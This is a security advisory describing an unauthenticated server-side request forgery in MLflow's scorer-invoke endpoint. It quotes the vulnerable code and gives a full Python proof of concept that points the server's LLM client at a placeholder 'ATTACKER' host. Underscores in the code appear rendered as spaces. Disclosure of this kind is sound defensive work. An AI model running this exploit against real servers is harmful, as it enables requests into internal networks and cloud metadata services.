PT-2026-122412

Publicado

2026-10-23

·

Atualizado

2026-10-23

Descrição por

CVSS 3.1
6.5
Média
MétricasAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model validate json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
python
data = serialized.third party scorer data     # attacker JSON
module path = data.get("module") or ""
class name = data.get("class")
if not any(module path == m or module path.startswith(m + ".")
      for m in THIRD PARTY SCORER ALLOWED MODULES):
  raise MlflowException.invalid parameter value(...)
module = importlib.import module(module path)
scorer class = getattr(module, class name, None)  # attribute NOT constrained
...
init kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init kwargs["model"] = data["model"]        # attacker model URI
scorer instance = scorer class(**init kwargs)   # reflective instantiation
The allowlist (mlflow/genai/scorers/scorer utils.py:46-51) only gates the import path:
python
THIRD PARTY SCORER ALLOWED MODULES = frozenset({
  "mlflow.genai.scorers.ragas",
  "mlflow.genai.scorers.deepeval",
  "mlflow.genai.scorers.trulens",
  "mlflow.genai.scorers.phoenix",
})
For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
python
backend = ScorerLLMClient(model uri)
if backend.route == "databricks":
  return create databricks provider(backend, **kwargs)
if backend.is native:
  return create gateway provider(backend, **kwargs)
try:
  from trulens.providers.litellm import LiteLLM
  litellm model = backend.model name
  ...
  return LiteLLM(model engine=litellm model, **kwargs)  # raw attacker kwargs forwarded
Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM. init forwards api base/api key straight into litellm.completion().
  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → invoke scorer handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch mlflow exception/@ disable if artifacts only — no auth decorator.
  • Scorer.model validate json(serialized scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

python
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"      # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"  # host the attacker controls and monitors

client = MlflowClient(tracking uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace id.
exp id = client.create experiment("poc")
mlflow.set tracking uri(TARGET)
mlflow.set experiment(experiment id=exp id)
with mlflow.start span(name="poc-span") as span:
  span.set inputs({"q": "hi"})
  span.set outputs({"a": "hi"})
trace id = span.request id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#  outbound LLM client at the attacker host with an attacker-chosen
#  Authorization value (their own canary, not a server secret).
serialized scorer = {
  "name": "poc",
  "third party scorer data": {
    "module": "mlflow.genai.scorers.trulens",
    "class": "Coherence",
    "metric name": "Coherence",
    "model": "openai:/gpt-4o",     # routes to the litellm fallback
    "kwargs": {
      "api base": ATTACKER,
      "api key": "ATTACKER-CANARY",  # attacker's own value, not a server secret
    },
  },
}
resp = requests.post(
  f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
  json={
    "experiment id": exp id,
    "serialized scorer":  import ("json").dumps(serialized scorer),
    "trace ids": [trace id],
  },
)
print(resp.status code, resp.text)
time.sleep(5) # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...
The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.
Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Identificadores relacionados
GHSA-2WQP-Q3C6-CCJ5
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾